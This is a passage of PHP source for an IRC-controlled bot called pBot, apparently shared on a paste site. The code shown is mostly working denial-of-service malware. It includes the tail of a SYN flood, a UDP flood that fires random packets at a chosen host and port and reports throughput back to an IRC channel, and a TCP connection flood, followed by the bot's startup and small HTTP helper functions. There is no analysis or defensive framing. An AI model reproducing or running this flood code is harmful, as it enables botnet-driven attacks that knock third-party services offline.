  717.         for ($j = 0; $j < $numsocks; $j++) {
  718.             if($socks[$j])
  719.                 @socket_close($socks[$j]);
  720.         }
  721.         $this->privmsg($this->config['chan'], "[\2SynFlood Finished!\2]: Config - For $host:$port.");
  722.     }
  723.     public function udpflood($host, $port, $time, $packetsize) {
  724.         $this->privmsg($this->config['chan'], "[\2UdpFlood Started!\2]");
  725.         $packet = "";
  726.         for ($i = 0; $i < $packetsize; $i++) {
  727.             $packet .= chr(rand(1, 256));
  728.         }
  729.         $end = time() + $time;
  730.         $i   = 0;
  731.         $fp  = fsockopen("udp://" . $host, $port, $e, $s, 5);
  732.         while (true) {
  733.             fwrite($fp, $packet);
  734.             fflush($fp);
  735.             if ($i % 100 == 0) {
  736.                 if($end < time())
  737.                     break;
  738.             }
  739.             $i++;
  740.         }
  741.         fclose($fp);
  742.         $env = $i * $packetsize;
  743.         $env = $env / 1048576;
  744.         $vel = $env / $time;
  745.         $vel = round($vel);
  746.         $env = round($env);
  747.         $this->privmsg($this->config['chan'], "[\2UdpFlood Finished!\2]: " . $env . " MB sent / Average: " . $vel . " MB/s ");
  748.     }
  749.     public function tcpconn($host, $port, $time) {
  750.         $this->privmsg($this->config['chan'], "[\2TcpConn Started!\2]");
  751.         $end = time() + $time;
  752.         $i   = 0;
  753.         while ($end > time()) {
  754.             $fp = fsockopen($host, $port, $dummy, $dummy, 1);
  755.             fclose($fp);
  756.             $i++;
  757.         }
  758.         $this->privmsg($this->config['chan'], "[\2TcpFlood Finished!\2]: sent " . $i . " connections to $host:$port.");
  759.     }
  760. }
  761. $bot = new pBot;
  762. $bot->start($cfg);
  763.  
  764. function curl($url, $post=array(), $user_agent="", $deleteCookies=false) {
  765.     $ch = curl_init($url);
  766.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  767.     curl_setopt($ch, CURLOPT_URL, $url);
  768.     if ($user_agent) {
  769.         curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
  770.     }
  771.     if (!empty($post)) {
  772.         curl_setopt($ch,CURLOPT_POST, 1);
  773.         curl_setopt($ch,CURLOPT_POSTFIELDS, $post);
  774.     }
  775.     if ($deleteCookies) {
  776.         file_put_contents("cookie.txt", "");
  777.     }
  778.     curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");
  779.     curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  780.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  781.     $result = curl_exec($ch);
  782.     //$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  783.     curl_close($ch);
  784.  
  785.     return $result;
  786. }
  787.  
  788. function get_between($string,$start,$end) {
  789.     $string = " ".$string;
  790.     $ini = strpos($string, $start);
  791.     if($ini==0) return "";
  792.     $ini += strlen($start);
  793.     $len = strpos($string, $end, $ini) - $ini;
  794.  
  795.     return substr($string, $ini, $len);
  796. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement